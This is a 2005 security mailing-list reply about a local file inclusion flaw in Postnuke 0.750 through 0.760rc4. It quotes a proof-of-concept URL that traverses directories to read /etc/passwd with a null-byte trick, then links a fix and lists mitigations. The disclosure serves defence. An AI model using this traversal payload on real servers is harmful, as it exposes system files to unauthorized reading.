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Re: Postnuke 0.750 - 0.760rc4 local file inclusion
From: Paul Laudanski <zx () castlecops com>
Date: Mon, 16 May 2005 12:05:51 -0400 (EDT)

On Mon, 16 May 2005, pokley wrote:

Product : Postnuke 0.750 (http://www.postnuke.com)
Description: Postnuke 0.750 - 0.760rc4 local file inclusion
Severity: High

Proof of concept
================
http://server.com/index.php?module=Blocks&type=lang&func=../../../../../../etc/passwd%00

Fix
===
Fix Available from postnuke cvs since 5th May 2005

http://cvs.postnuke.com/viewcvs.cgi/Historic_PostNuke_Library/postnuke-devel/html/includes/pnMod.php.diff?r1=1.47&r2=1.48

Directory traversal in a PHP environment can be avoided in a few different 
ways:

1) Proper programming practice,
2) Usage of http://php.net/basename,
3) Install modsecurity and prevent path traversal,
4) Disable globals in php.ini.

-- 
Sincerely,

Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CC Blog ......... http://blog.castlecops.com
Staff Blogs ..... http://busterbunny.castlecops.com
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http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com


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